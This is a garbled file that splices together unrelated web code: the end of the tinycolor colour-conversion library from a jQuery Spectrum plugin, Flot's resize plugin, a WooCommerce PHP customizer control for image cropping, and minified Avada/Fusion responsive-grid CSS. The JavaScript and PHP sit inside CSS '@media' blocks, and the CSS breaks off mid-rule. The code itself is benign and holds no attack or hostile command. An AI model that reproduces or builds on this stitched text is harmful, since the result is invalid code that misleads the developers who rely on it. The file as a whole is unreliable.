		// `rgbToHsl`, `rgbToHsv`, `hslToRgb`, `hsvToRgb` modified from:
		// <http://mjijackson.com/2008/02/rgb-to-hsl-and-rgb-to-hsv-color-model-conversion-algorithms-in-javascript>

		// `rgbToRgb`
		// Handle bounds / percentage checking to conform to CSS color spec
		// <http://www.w3.org/TR/css3-color/>
		// *Assumes:* r, g, b in [0, 255] or [0, 1]
		// *Returns:* { r, g, b } in [0, 255]
		function rgbToRgb( r, g, b ) {
			return {
				r: bound01( r, 255 ) * 255, g: bound01( g, 255 ) * 255, b: bound01( b, 255 ) * 255
			};
		}

		// `rgbToHsl`
		// Converts an RGB color value to HSL.
		// *Assumes:* r, g, and b are contained in [0, 255] or [0, 1]
		// *Returns:* { h, s, l } in [0,1]
		function rgbToHsl( r, g, b ) {

			r = bound01( r, 255 );
			g = bound01( g, 255 );
			b = bound01( b, 255 );

			var max     = mathMax( r, g, b ), min = mathMin( r, g, b );
			var h, s, l = (max + min) / 2;

			if ( max == min ) {
				h = s = 0; // achromatic
			} else {
				var d = max - min;
				s     = l > 0.5 ? d / (2 - max - min) : d / (max + min);
				switch ( max ) {
					case r:
						h = (g - b) / d + (g < b ? 6 : 0);
						break;
					case g:
						h = (b - r) / d + 2;
						break;
					case b:
						h = (r - g) / d + 4;
						break;
				}

				h /= 6;
			}

			return {h: h, s: s, l: l};
		}

		// `hslToRgb`
		// Converts an HSL color value to RGB.
		// *Assumes:* h is contained in [0, 1] or [0, 360] and s and l are contained [0, 1] or [0, 100]
		// *Returns:* { r, g, b } in the set [0, 255]
		function hslToRgb( h, s, l ) {
			var r, g, b;

			h = bound01( h, 360 );
			s = bound01( s, 100 );
			l = bound01( l, 100 );

			function hue2rgb( p, q, t ) {
				if ( t < 0 ) t += 1;
				if ( t > 1 ) t -= 1;
				if ( t < 1 / 6 ) return p + (q - p) * 6 * t;
				if ( t < 1 / 2 ) return q;
				if ( t < 2 / 3 ) return p + (q - p) * (2 / 3 - t) * 6;
				return p;
			}

			if ( s === 0 ) {
				r = g = b = l; // achromatic
			} else {
				var q = l < 0.5 ? l * (1 + s) : l + s - l * s;
				var p = 2 * l - q;
				r     = hue2rgb( p, q, h + 1 / 3 );
				g     = hue2rgb( p, q, h );
				b     = hue2rgb( p, q, h - 1 / 3 );
			}

			return {r: r * 255, g: g * 255, b: b * 255};
		}

		// `rgbToHsv`
		// Converts an RGB color value to HSV
		// *Assumes:* r, g, and b are contained in the set [0, 255] or [0, 1]
		// *Returns:* { h, s, v } in [0,1]
		function rgbToHsv( r, g, b ) {

			r = bound01( r, 255 );
			g = bound01( g, 255 );
			b = bound01( b, 255 );

			var max     = mathMax( r, g, b ), min = mathMin( r, g, b );
			var h, s, v = max;

			var d = max - min;
			s     = max === 0 ? 0 : d / max;

			if ( max == min ) {
				h = 0; // achromatic
			} else {
				switch ( max ) {
					case r:
						h = (g - b) / d + (g < b ? 6 : 0);
						break;
					case g:
						h = (b - r) / d + 2;
						break;
					case b:
						h = (r - g) / d + 4;
						break;
				}
				h /= 6;
			}
			return {h: h, s: s, v: v};
		}

		// `hsvToRgb`
		// Converts an HSV color value to RGB.
		// *Assumes:* h is contained in [0, 1] or [0, 360] and s and v are contained in [0, 1] or [0, 100]
		// *Returns:* { r, g, b } in the set [0, 255]
		function hsvToRgb( h, s, v ) {

			h = bound01( h, 360 ) * 6;
			s = bound01( s, 100 );
			v = bound01( v, 100 );

			var i                                                                        = math.floor( h ), f = h - i, p = v * (1 - s), q = v * (1 - f * s), t = v * (1 - (1 - f) * s),
				mod = i % 6, r = [v, q, p, p, t, v][mod], g = [t, v, v, q, p, p][mod], b = [p, p, t, v, v, q][mod];

			return {r: r * 255, g: g * 255, b: b * 255};
		}

		// `rgbToHex`
		// Converts an RGB color to hex
		// Assumes r, g, and b are contained in the set [0, 255]
		// Returns a 3 or 6 character hex
		function rgbToHex( r, g, b, allow3Char ) {

			var hex = [pad2( mathRound( r ).toString( 16 ) ), pad2( mathRound( g ).toString( 16 ) ), pad2( mathRound( b ).toString( 16 ) )];

			// Return a 3 character hex if possible
			if ( allow3Char && hex[0].charAt( 0 ) == hex[0].charAt( 1 ) && hex[1].charAt( 0 ) == hex[1].charAt( 1 ) && hex[2].charAt( 0 ) == hex[2].charAt( 1 ) ) {
				return hex[0].charAt( 0 ) + hex[1].charAt( 0 ) + hex[2].charAt( 0 );
			}

			return hex.join( '' );
		}

		// `rgbaToHex`
		// Converts an RGBA color plus alpha transparency to hex
		// Assumes r, g, b and a are contained in the set [0, 255]
		// Returns an 8 character hex
		function rgbaToHex( r, g, b, a ) {

			var hex = [pad2( convertDecimalToHex( a ) ), pad2( mathRound( r ).toString( 16 ) ), pad2( mathRound( g ).toString( 16 ) ), pad2( mathRound( b ).toString( 16 ) )];

			return hex.join( '' );
		}

		// `equals`
		// Can be called with any tinycolor input
		tinycolor.equals = function( color1, color2 ) {
			if ( ! color1 || ! color2 ) {
				return false;
			}
			return tinycolor( color1 ).toRgbString() == tinycolor( color2 ).toRgbString();
		};
		tinycolor.random = function() {
			return tinycolor.fromRatio( {
				r: mathRandom(), g: mathRandom(), b: mathRandom()
			} );
		};

		// Modification Functions
		// ----------------------
		// Thanks to less.js for some of the basics here
		// <https://github.com/cloudhead/less.js/blob/master/lib/less/functions.js>

		tinycolor.desaturate = function( color, amount ) {
			amount  = (amount === 0) ? 0 : (amount || 10);
			var hsl = tinycolor( color ).toHsl();
			hsl.s -= amount / 100;
			hsl.s   = clamp01( hsl.s );
			return tinycolor( hsl );
		};
		tinycolor.saturate   = function( color, amount ) {
			amount  = (amount === 0) ? 0 : (amount || 10);
			var hsl = tinycolor( color ).toHsl();
			hsl.s += amount / 100;
			hsl.s   = clamp01( hsl.s );
			return tinycolor( hsl );
		};
		tinycolor.greyscale  = function( color ) {
			return tinycolor.desaturate( color, 100 );
		};
		tinycolor.lighten    = function( color, amount ) {
			amount  = (amount === 0) ? 0 : (amount || 10);
			var hsl = tinycolor( color ).toHsl();
			hsl.l += amount / 100;
			hsl.l   = clamp01( hsl.l );
			return tinycolor( hsl );
		};
		tinycolor.darken     = function( color, amount ) {
			amount  = (amount === 0) ? 0 : (amount || 10);
			var hsl = tinycolor( color ).toHsl();
			hsl.l -= amount / 100;
			hsl.l   = clamp01( hsl.l );
			return tinycolor( hsl );
		};
		tinycolor.complement = function( color ) {
			var hsl = tinycolor( color ).toHsl();
			hsl.h   = (hsl.h + 180) % 360;
			return tinycolor( hsl );
		};

		// Combination Functions
		// ---------------------
		// Thanks to jQuery xColor for some of the ideas behind these
		// <https://github.com/infusion/jQuery-xcolor/blob/master/jquery.xcolor.js>

		tinycolor.triad           = function( color ) {
			var hsl = tinycolor( color ).toHsl();
			var h   = hsl.h;
			return [tinycolor( color ), tinycolor( {
				h: (h + 120) % 360, s: hsl.s, l: hsl.l
			} ), tinycolor( {h: (h + 240) % 360, s: hsl.s, l: hsl.l} )];
		};
		tinycolor.tetrad          = function( color ) {
			var hsl = tinycolor( color ).toHsl();
			var h   = hsl.h;
			return [tinycolor( color ), tinycolor( {
				h: (h + 90) % 360, s: hsl.s, l: hsl.l
			} ), tinycolor( {h: (h + 180) % 360, s: hsl.s, l: hsl.l} ), tinycolor( {
				h: (h + 270) % 360, s: hsl.s, l: hsl.l
			} )];
		};
		tinycolor.splitcomplement = function( color ) {
			var hsl = tinycolor( color ).toHsl();
			var h   = hsl.h;
			return [tinycolor( color ), tinycolor( {
				h: (h + 72) % 360, s: hsl.s, l: hsl.l
			} ), tinycolor( {h: (h + 216) % 360, s: hsl.s, l: hsl.l} )];
		};
		tinycolor.analogous       = function( color, results, slices ) {
			results = results || 6;
			slices  = slices || 30;

			var hsl  = tinycolor( color ).toHsl();
			var part = 360 / slices;
			var ret  = [tinycolor( color )];

			for ( hsl.h = ((hsl.h - (part * results >> 1)) + 720) % 360; -- results; ) {
				hsl.h = (hsl.h + part) % 360;
				ret.push( tinycolor( hsl ) );
			}
			return ret;
		};
		tinycolor.monochromatic   = function( color, results ) {
			results          = results || 6;
			var hsv          = tinycolor( color ).toHsv();
			var h            = hsv.h, s = hsv.s, v = hsv.v;
			var ret          = [];
			var modification = 1 / results;

			while ( results -- ) {
				ret.push( tinycolor( {h: h, s: s, v: v} ) );
				v = (v + modification) % 1;
			}

			return ret;
		};

		// Readability Functions
		// ---------------------
		// <http://www.w3.org/TR/AERT#color-contrast>

		// `readability`
		// Analyze the 2 colors and returns an object with the following properties:
		//    `brightness`: difference in brightness between the two colors
		//    `color`: difference in color/hue between the two colors
		tinycolor.readability = function( color1, color2 ) {
			var a           = tinycolor( color1 ).toRgb();
			var b           = tinycolor( color2 ).toRgb();
			var brightnessA = (a.r * 299 + a.g * 587 + a.b * 114) / 1000;
			var brightnessB = (b.r * 299 + b.g * 587 + b.b * 114) / 1000;
			var colorDiff   = (Math.max( a.r, b.r ) - Math.min( a.r, b.r ) + Math.max( a.g, b.g ) - Math.min( a.g, b.g ) + Math.max( a.b, b.b ) - Math.min( a.b, b.b ));

			return {
				brightness: Math.abs( brightnessA - brightnessB ), color: colorDiff
			};
		};

		// `readable`
		// http://www.w3.org/TR/AERT#color-contrast
		// Ensure that foreground and background color combinations provide sufficient contrast.
		// *Example*
		//    tinycolor.readable("#000", "#111") => false
		tinycolor.readable = function( color1, color2 ) {
			var readability = tinycolor.readability( color1, color2 );
			return readability.brightness > 125 && readability.color > 500;
		};

		// `mostReadable`
		// Given a base color and a list of possible foreground or background
		// colors for that base, returns the most readable color.
		// *Example*
		//    tinycolor.mostReadable("#123", ["#fff", "#000"]) => "#000"
		tinycolor.mostReadable = function( baseColor, colorList ) {
			var bestColor      = null;
			var bestScore      = 0;
			var bestIsReadable = false;
			for ( var i = 0; i < colorList.length; i ++ ) {

				// We normalize both around the "acceptable" breaking point,
				// but rank brightness constrast higher than hue.

				var readability = tinycolor.readability( baseColor, colorList[i] );
				var readable    = readability.brightness > 125 && readability.color > 500;
				var score       = 3 * (readability.brightness / 125) + (readability.color / 500);

				if ( (readable && ! bestIsReadable) || (readable && bestIsReadable && score > bestScore) || ((! readable) && (! bestIsReadable) && score > bestScore) ) {
					bestIsReadable = readable;
					bestScore      = score;
					bestColor      = tinycolor( colorList[i] );
				}
			}
			return bestColor;
		};

		// Big List of Colors
		// ------------------
		// <http://www.w3.org/TR/css3-color/#svg-color>
		var names = tinycolor.names = {
			aliceblue: 'f0f8ff',
			antiquewhite: 'faebd7',
			aqua: '0ff',
			aquamarine: '7fffd4',
			azure: 'f0ffff',
			beige: 'f5f5dc',
			bisque: 'ffe4c4',
			black: '000',
			blanchedalmond: 'ffebcd',
			blue: '00f',
			blueviolet: '8a2be2',
			brown: 'a52a2a',
			burlywood: 'deb887',
			burntsienna: 'ea7e5d',
			cadetblue: '5f9ea0',
			chartreuse: '7fff00',
			chocolate: 'd2691e',
			coral: 'ff7f50',
			cornflowerblue: '6495ed',
			cornsilk: 'fff8dc',
			crimson: 'dc143c',
			cyan: '0ff',
			darkblue: '00008b',
			darkcyan: '008b8b',
			darkgoldenrod: 'b8860b',
			darkgray: 'a9a9a9',
			darkgreen: '006400',
			darkgrey: 'a9a9a9',
			darkkhaki: 'bdb76b',
			darkmagenta: '8b008b',
			darkolivegreen: '556b2f',
			darkorange: 'ff8c00',
			darkorchid: '9932cc',
			darkred: '8b0000',
			darksalmon: 'e9967a',
			darkseagreen: '8fbc8f',
			darkslateblue: '483d8b',
			darkslategray: '2f4f4f',
			darkslategrey: '2f4f4f',
			darkturquoise: '00ced1',
			darkviolet: '9400d3',
			deeppink: 'ff1493',
			deepskyblue: '00bfff',
			dimgray: '696969',
			dimgrey: '696969',
			dodgerblue: '1e90ff',
			firebrick: 'b22222',
			floralwhite: 'fffaf0',
			forestgreen: '228b22',
			fuchsia: 'f0f',
			gainsboro: 'dcdcdc',
			ghostwhite: 'f8f8ff',
			gold: 'ffd700',
			goldenrod: 'daa520',
			gray: '808080',
			green: '008000',
			greenyellow: 'adff2f',
			grey: '808080',
			honeydew: 'f0fff0',
			hotpink: 'ff69b4',
			indianred: 'cd5c5c',
			indigo: '4b0082',
			ivory: 'fffff0',
			khaki: 'f0e68c',
			lavender: 'e6e6fa',
			lavenderblush: 'fff0f5',
			lawngreen: '7cfc00',
			lemonchiffon: 'fffacd',
			lightblue: 'add8e6',
			lightcoral: 'f08080',
			lightcyan: 'e0ffff',
			lightgoldenrodyellow: 'fafad2',
			lightgray: 'd3d3d3',
			lightgreen: '90ee90',
			lightgrey: 'd3d3d3',
			lightpink: 'ffb6c1',
			lightsalmon: 'ffa07a',
			lightseagreen: '20b2aa',
			lightskyblue: '87cefa',
			lightslategray: '789',
			lightslategrey: '789',
			lightsteelblue: 'b0c4de',
			lightyellow: 'ffffe0',
			lime: '0f0',
			limegreen: '32cd32',
			linen: 'faf0e6',
			magenta: 'f0f',
			maroon: '800000',
			mediumaquamarine: '66cdaa',
			mediumblue: '0000cd',
			mediumorchid: 'ba55d3',
			mediumpurple: '9370db',
			mediumseagreen: '3cb371',
			mediumslateblue: '7b68ee',
			mediumspringgreen: '00fa9a',
			mediumturquoise: '48d1cc',
			mediumvioletred: 'c71585',
			midnightblue: '191970',
			mintcream: 'f5fffa',
			mistyrose: 'ffe4e1',
			moccasin: 'ffe4b5',
			navajowhite: 'ffdead',
			navy: '000080',
			oldlace: 'fdf5e6',
			olive: '808000',
			olivedrab: '6b8e23',
			orange: 'ffa500',
			orangered: 'ff4500',
			orchid: 'da70d6',
			palegoldenrod: 'eee8aa',
			palegreen: '98fb98',
			paleturquoise: 'afeeee',
			palevioletred: 'db7093',
			papayawhip: 'ffefd5',
			peachpuff: 'ffdab9',
			peru: 'cd853f',
			pink: 'ffc0cb',
			plum: 'dda0dd',
			powderblue: 'b0e0e6',
			purple: '800080',
			red: 'f00',
			rosybrown: 'bc8f8f',
			royalblue: '4169e1',
			saddlebrown: '8b4513',
			salmon: 'fa8072',
			sandybrown: 'f4a460',
			seagreen: '2e8b57',
			seashell: 'fff5ee',
			sienna: 'a0522d',
			silver: 'c0c0c0',
			skyblue: '87ceeb',
			slateblue: '6a5acd',
			slategray: '708090',
			slategrey: '708090',
			snow: 'fffafa',
			springgreen: '00ff7f',
			steelblue: '4682b4',
			tan: 'd2b48c',
			teal: '008080',
			thistle: 'd8bfd8',
			tomato: 'ff6347',
			turquoise: '40e0d0',
			violet: 'ee82ee',
			wheat: 'f5deb3',
			white: 'fff',
			whitesmoke: 'f5f5f5',
			yellow: 'ff0',
			yellowgreen: '9acd32'
		};

		// Make it easy to access colors via `hexNames[hex]`
		var hexNames = tinycolor.hexNames = flip( names );

		// Utilities
		// ---------

		// `{ 'name1': 'val1' }` becomes `{ 'val1': 'name1' }`
		function flip( o ) {
			var flipped = {};
			for ( var i in o ) {
				if ( o.hasOwnProperty( i ) ) {
					flipped[o[i]] = i;
				}
			}
			return flipped;
		}

		// Return a valid alpha value [0,1] with all invalid values being set to 1
		function boundAlpha( a ) {
			a = parseFloat( a );

			if ( isNaN( a ) || a < 0 || a > 1 ) {
				a = 1;
			}

			return a;
		}

		// Take input from [0, n] and return it as [0, 1]
		function bound01( n, max ) {
			if ( isOnePointZero( n ) ) {
				n = '100%';
			}

			var processPercent = isPercentage( n );
			n                  = mathMin( max, mathMax( 0, parseFloat( n ) ) );

			// Automatically convert percentage into number
			if ( processPercent ) {
				n = parseInt( n * max, 10 ) / 100;
			}

			// Handle floating point rounding errors
			if ( (math.abs( n - max ) < 0.000001) ) {
				return 1;
			}

			// Convert into [0, 1] range if it isn't already
			return (n % max) / parseFloat( max );
		}

		// Force a number between 0 and 1
		function clamp01( val ) {
			return mathMin( 1, mathMax( 0, val ) );
		}

		// Parse a base-16 hex value into a base-10 integer
		function parseIntFromHex( val ) {
			return parseInt( val, 16 );
		}

		// Need to handle 1.0 as 100%, since once it is a number, there is no difference between it and 1
		// <http://stackoverflow.com/questions/7422072/javascript-how-to-detect-number-as-a-decimal-including-1-0>
		function isOnePointZero( n ) {
			return typeof n == 'string' && n.indexOf( '.' ) != - 1 && parseFloat( n ) === 1;
		}

		// Check to see if string passed in is a percentage
		function isPercentage( n ) {
			return typeof n === 'string' && n.indexOf( '%' ) != - 1;
		}

		// Force a hex value to have 2 characters
		function pad2( c ) {
			return c.length == 1 ? '0' + c : '' + c;
		}

		// Replace a decimal with it's percentage value
		function convertToPercentage( n ) {
			if ( n <= 1 ) {
				n = (n * 100) + '%';
			}

			return n;
		}

		// Converts a decimal to a hex value
		function convertDecimalToHex( d ) {
			return Math.round( parseFloat( d ) * 255 ).toString( 16 );
		}

		// Converts a hex value to a decimal
		function convertHexToDecimal( h ) {
			return (parseIntFromHex( h ) / 255);
		}

		var matchers = (function() {

			// <http://www.w3.org/TR/css3-values/#integers>
			var CSS_INTEGER = '[-\\+]?\\d+%?';

			// <http://www.w3.org/TR/css3-values/#number-value>
			var CSS_NUMBER = '[-\\+]?\\d*\\.\\d+%?';

			// Allow positive/negative integer/number.  Don't capture the either/or, just the entire outcome.
			var CSS_UNIT = '(?:' + CSS_NUMBER + ')|(?:' + CSS_INTEGER + ')';

			// Actual matching.
			// Parentheses and commas are optional, but not required.
			// Whitespace can take the place of commas or opening paren
			var PERMISSIVE_MATCH3 = '[\\s|\\(]+(' + CSS_UNIT + ')[,|\\s]+(' + CSS_UNIT + ')[,|\\s]+(' + CSS_UNIT + ')\\s*\\)?';
			var PERMISSIVE_MATCH4 = '[\\s|\\(]+(' + CSS_UNIT + ')[,|\\s]+(' + CSS_UNIT + ')[,|\\s]+(' + CSS_UNIT + ')[,|\\s]+(' + CSS_UNIT + ')\\s*\\)?';

			return {
				rgb: new RegExp( 'rgb' + PERMISSIVE_MATCH3 ),
				rgba: new RegExp( 'rgba' + PERMISSIVE_MATCH4 ),
				hsl: new RegExp( 'hsl' + PERMISSIVE_MATCH3 ),
				hsla: new RegExp( 'hsla' + PERMISSIVE_MATCH4 ),
				hsv: new RegExp( 'hsv' + PERMISSIVE_MATCH3 ),
				hex3: /^([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,
				hex6: /^([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/,
				hex8: /^([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/
			};
		})();

		// `stringInputToObject`
		// Permissive string parsing.  Take in a number of formats, and output an object
		// based on detected format.  Returns `{ r, g, b }` or `{ h, s, l }` or `{ h, s, v}`
		function stringInputToObject( color ) {

			color     = color.replace( trimLeft, '' ).replace( trimRight, '' ).toLowerCase();
			var named = false;
			if ( names[color] ) {
				color = names[color];
				named = true;
			} else if ( color == 'transparent' ) {
				return {r: 0, g: 0, b: 0, a: 0, format: 'name'};
			}

			// Try to match string input using regular expressions.
			// Keep most of the number bounding out of this function - don't worry about [0,1] or [0,100] or [0,360]
			// Just return an object and let the conversion functions handle that.
			// This way the result will be the same whether the tinycolor is initialized with string or object.
			var match;
			if ( (match = matchers.rgb.exec( color )) ) {
				return {r: match[1], g: match[2], b: match[3]};
			}
			if ( (match = matchers.rgba.exec( color )) ) {
				return {r: match[1], g: match[2], b: match[3], a: match[4]};
			}
			if ( (match = matchers.hsl.exec( color )) ) {
				return {h: match[1], s: match[2], l: match[3]};
			}
			if ( (match = matchers.hsla.exec( color )) ) {
				return {h: match[1], s: match[2], l: match[3], a: match[4]};
			}
			if ( (match = matchers.hsv.exec( color )) ) {
				return {h: match[1], s: match[2], v: match[3]};
			}
			if ( (match = matchers.hex8.exec( color )) ) {
				return {
					a: convertHexToDecimal( match[1] ),
					r: parseIntFromHex( match[2] ),
					g: parseIntFromHex( match[3] ),
					b: parseIntFromHex( match[4] ),
					format: named ? 'name' : 'hex8'
				};
			}
			if ( (match = matchers.hex6.exec( color )) ) {
				return {
					r: parseIntFromHex( match[1] ),
					g: parseIntFromHex( match[2] ),
					b: parseIntFromHex( match[3] ),
					format: named ? 'name' : 'hex'
				};
			}
			if ( (match = matchers.hex3.exec( color )) ) {
				return {
					r: parseIntFromHex( match[1] + '' + match[1] ),
					g: parseIntFromHex( match[2] + '' + match[2] ),
					b: parseIntFromHex( match[3] + '' + match[3] ),
					format: named ? 'name' : 'hex'
				};
			}

			return false;
		}

		// Expose tinycolor to window, does not need to run in non-browser context.
		window.tinycolor = tinycolor;

	})();

	$( function() {
		if ( $.fn.spectrum.load ) {
			$.fn.spectrum.processNativeColorInputs();
		}
	} );

})( window, jQuery );
}@media only screen and (max-width: 800px){/* Flot plugin for automatically redrawing plots as the placeholder resizes.

Copyright (c) 2007-2013 IOLA and Ole Laursen.
Licensed under the MIT license.

It works by listening for changes on the placeholder div (through the jQuery
resize event plugin) - if the size changes, it will redraw the plot.

There are no options. If you need to disable the plugin for some plots, you
can just fix the size of their placeholders.

*/

/* Inline dependency:
 * jQuery resize event - v1.1 - 3/14/2010
 * http://benalman.com/projects/jquery-resize-plugin/
 *
 * Copyright (c) 2010 "Cowboy" Ben Alman
 * Dual licensed under the MIT and GPL licenses.
 * http://benalman.com/about/license/
 */

(function($,h,c){var a=$([]),e=$.resize=$.extend($.resize,{}),i,k="setTimeout",j="resize",d=j+"-special-event",b="delay",f="throttleWindow";e[b]=250;e[f]=true;$.event.special[j]={setup:function(){if(!e[f]&&this[k]){return false}var l=$(this);a=a.add(l);$.data(this,d,{w:l.width(),h:l.height()});if(a.length===1){g()}},teardown:function(){if(!e[f]&&this[k]){return false}var l=$(this);a=a.not(l);l.removeData(d);if(!a.length){clearTimeout(i)}},add:function(l){if(!e[f]&&this[k]){return false}var n;function m(s,o,p){var q=$(this),r=$.data(this,d);r.w=o!==c?o:q.width();r.h=p!==c?p:q.height();n.apply(this,arguments)}if($.isFunction(l)){n=l;return m}else{n=l.handler;l.handler=m}}};function g(){i=h[k](function(){a.each(function(){var n=$(this),m=n.width(),l=n.height(),o=$.data(this,d);if(m!==o.w||l!==o.h){n.trigger(j,[o.w=m,o.h=l])}});g()},e[b])}})(jQuery,this);

(function ($) {
    var options = { }; // no options

    function init(plot) {
        function onResize() {
            var placeholder = plot.getPlaceholder();

            // somebody might have hidden us and we can't plot
            // when we don't have the dimensions
            if (placeholder.width() == 0 || placeholder.height() == 0)
                return;

            plot.resize();
            plot.setupGrid();
            plot.draw();
        }
        
        function bindEvents(plot, eventHolder) {
            plot.getPlaceholder().resize(onResize);
        }

        function shutdown(plot, eventHolder) {
            plot.getPlaceholder().unbind("resize", onResize);
        }
        
        plot.hooks.bindEvents.push(bindEvents);
        plot.hooks.shutdown.push(shutdown);
    }
    
    $.plot.plugins.push({
        init: init,
        options: options,
        name: 'resize',
        version: '1.0'
    });
})(jQuery);
}@media only screen and (max-width: 640px){<?php
/**
 * Custom control for radio buttons with nested options.
 *
 * Used for our image cropping settings.
 *
 * @version 3.3.0
 * @package WooCommerce
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WC_Customizer_Control_Cropping class.
 */
class WC_Customizer_Control_Cropping extends WP_Customize_Control {

	/**
	 * Declare the control type.
	 *
	 * @var string
	 */
	public $type = 'woocommerce-cropping-control';

	/**
	 * Render control.
	 */
	public function render_content() {
		if ( empty( $this->choices ) ) {
			return;
		}

		$value         = $this->value( 'cropping' );
		$custom_width  = $this->value( 'custom_width' );
		$custom_height = $this->value( 'custom_height' );
		?>

		<span class="customize-control-title">
			<?php echo esc_html( $this->label ); ?>
		</span>

		<?php if ( ! empty( $this->description ) ) : ?>
			<span class="description customize-control-description"><?php echo esc_html( $this->description ); ?></span>
		<?php endif; ?>

		<ul id="input_<?php echo esc_attr( $this->id ); ?>" class="woocommerce-cropping-control">
			<?php foreach ( $this->choices as $key => $radio ) : ?>
				<li>
					<input type="radio" name="<?php echo esc_attr( $this->id ); ?>" value="<?php echo esc_attr( $key ); ?>" id="<?php echo esc_attr( $this->id . $key ); ?>" <?php $this->link( 'cropping' ); ?> <?php checked( $value, $key ); ?> />
					<label for="<?php echo esc_attr( $this->id . $key ); ?>"><?php echo esc_html( $radio['label'] ); ?><br/><span class="description"><?php echo esc_html( $radio['description'] ); ?></span></label>

					<?php if ( 'custom' === $key ) : ?>
						<span class="woocommerce-cropping-control-aspect-ratio">
							<input type="text" pattern="\d*" size="3" value="<?php echo esc_attr( $custom_width ); ?>" <?php $this->link( 'custom_width' ); ?> /> : <input type="text" pattern="\d*" size="3" value="<?php echo esc_attr( $custom_height ); ?>" <?php $this->link( 'custom_height' ); ?> />
						</span>
					<?php endif; ?>
				</li>
			<?php endforeach; ?>
		</ul>
		<?php
	}
}
}@media only screen and (max-width: 640px){.fusion-blog-layout-grid-6 .fusion-post-grid,.fusion-grid-6 .fusion-grid-column,.fusion-portfolio-six .fusion-portfolio-post,.products.products-6 .product-grid-view{width:100%!important}.fusion-blog-layout-grid-6 .fusion-post-grid.fusion-element-landscape .fusion-masonry-element-container,.fusion-grid-6 .fusion-grid-column.fusion-element-landscape .fusion-masonry-element-container,.fusion-portfolio-six .fusion-portfolio-post.fusion-element-landscape .fusion-masonry-element-container,.products.products-6 .product-grid-view.fusion-element-landscape .fusion-masonry-element-container{padding-top:65%!important}.fusion-blog-layout-grid-6 .fusion-post-grid.fusion-element-grid .fusion-masonry-element-container,.fusion-grid-6 .fusion-grid-column.fusion-element-grid .fusion-masonry-element-container,.fusion-portfolio-six .fusion-portfolio-post.fusion-element-grid .fusion-masonry-element-container,.products.products-6 .product-grid-view.fusion-element-grid .fusion-masonry-element-container{padding-top:100%!important}}@media only screen and (max-width: 692px){.fusion-blog-layout-grid .fusion-post-grid,.fusion-grid-column,.fusion-portfolio-post,.products li.product-grid-view{width:var(--awb-columns-small,100%)!important}.fusion-blog-layout-grid .fusion-post-grid.fusion-element-landscape .fusion-masonry-element-container,.fusion-grid-column.fusion-element-landscape .fusion-masonry-element-container,.fusion-portfolio-post.fusion-element-landscape .fusion-masonry-element-container,.products li.product-grid-view.fusion-element-landscape .fusion-masonry-element-container{padding-top:65%!important}.fusion-blog-layout-grid .fusion-post-grid.fusion-element-grid .fusion-masonry-element-container,.fusion-grid-column.fusion-element-grid .fusion-masonry-element-container,.fusion-portfolio-post.fusion-element-grid .fusion-masonry-element-container,.products li.product-grid-view.fusion-element-grid .fusion-masonry-element-container{padding-top:100%!important}.fusion-portfolio-grid:not(.fusion-portfolio-text) .fusion-portfolio-post .fusion-image-wrapper{display:block;text-align:center}.fusion-blog-layout-grid-6 .fusion-post-grid,.fusion-grid-6 .fusion-grid-column,.fusion-portfolio-six .fusion-portfolio-post,.products.products-6 .product-grid-view{width:var(--awb-columns-small,50%)!important}.fusion-blog-layout-grid-6 .fusion-post-grid.fusion-element-landscape,.fusion-grid-6 .fusion-grid-column.fusion-element-landscape,.fusion-portfolio-six .fusion-portfolio-post.fusion-element-landscape,.products.products-6 .product-grid-view.fusion-element-landscape{width:100%!important}}@media only screen and (min-width: 692px) and (max-width: 744px){.fusion-blog-layout-grid-6 .fusion-post-grid,.fusion-grid-6 .fusion-grid-column,.fusion-portfolio-six .fusion-portfolio-post,.products.products-6 .product-grid-view{width:33.33333333%!important}.fusion-blog-layout-grid-6 .fusion-post-grid.fusion-element-landscape,.fusion-grid-6 .fusion-grid-column.fusion-element-landscape,.fusion-portfolio-six .fusion-portfolio-post.fusion-element-landscape,.products.products-6 .product-grid-view.fusion-element-landscape{width:66.66666667%!important}.fusion-blog-layout-grid-3 .fusion-post-grid,.fusion-blog-layout-grid-4 .fusion-post-grid,.fusion-blog-layout-grid-5 .fusion-post-grid,.fusion-grid-3 .fusion-grid-column,.fusion-grid-4 .fusion-grid-column,.fusion-grid-5 .fusion-grid-column,.fusion-portfolio-five .fusion-portfolio-post,.fusion-portfolio-four .fusion-portfolio-post,.fusion-portfolio-masonry .fusion-portfolio-post,.fusion-portfolio-three .fusion-portfolio-post,.products.products-3 .product-grid-view,.products.products-4 .product-grid-view,.products.products-5 .product-grid-view{width:50%!important}.fusion-blog-layout-grid-3 .fusion-post-grid.fusion-element-landscape,.fusion-blog-layout-grid-4 .fusion-post-grid.fusion-element-landscape,.fusion-blog-layout-grid-5 .fusion-post-grid.fusion-element-landscape,.fusion-grid-3 .fusion-grid-column.fusion-element-landscape,.fusion-grid-4 .fusion-grid-column.fusion-element-landscape,.fusion-grid-5 .fusion-grid-column.fusion-element-landscape,.fusion-portfolio-five .fusion-portfolio-post.fusion-element-landscape,.fusion-portfolio-four .fusion-portfolio-post.fusion-element-landscape,.fusion-portfolio-masonry .fusion-portfolio-post.fusion-element-landscape,.fusion-portfolio-three .fusion-portfolio-post.fusion-element-landscape,.products.products-3 .product-grid-view.fusion-element-landscape,.products.products-4 .product-grid-view.fusion-element-landscape,.products.products-5 .product-grid-view.fusion-element-landscape{width:100%!important}}@media only screen and (min-width: 744px) and (max-width: 796px){.fusion-blog-layout-grid-6 .fusion-post-grid,.fusion-grid-6 .fusion-grid-column,.fusion-portfolio-six .fusion-portfolio-post,.products.products-6 .product-grid-view{width:25%!important}.fusion-blog-layout-grid-6 .fusion-post-grid.fusion-element-landscape,.fusion-grid-6 .fusion-grid-column.fusion-element-landscape,.fusion-portfolio-six .fusion-portfolio-post.fusion-element-landscape,.products.products-6 .product-grid-view.fusion-element-landscape{width:50%!important}.fusion-blog-layout-grid-3 .fusion-post-grid,.fusion-blog-layout-grid-4 .fusion-post-grid,.fusion-blog-layout-grid-5 .fusion-post-grid,.fusion-grid-3 .fusion-grid-column,.fusion-grid-4 .fusion-grid-column,.fusion-grid-5 .fusion-grid-column,.fusion-portfolio-five .fusion-portfolio-post,.fusion-portfolio-four .fusion-portfolio-post,.fusion-portfolio-three .fusion-portfolio-post,.products.products-3 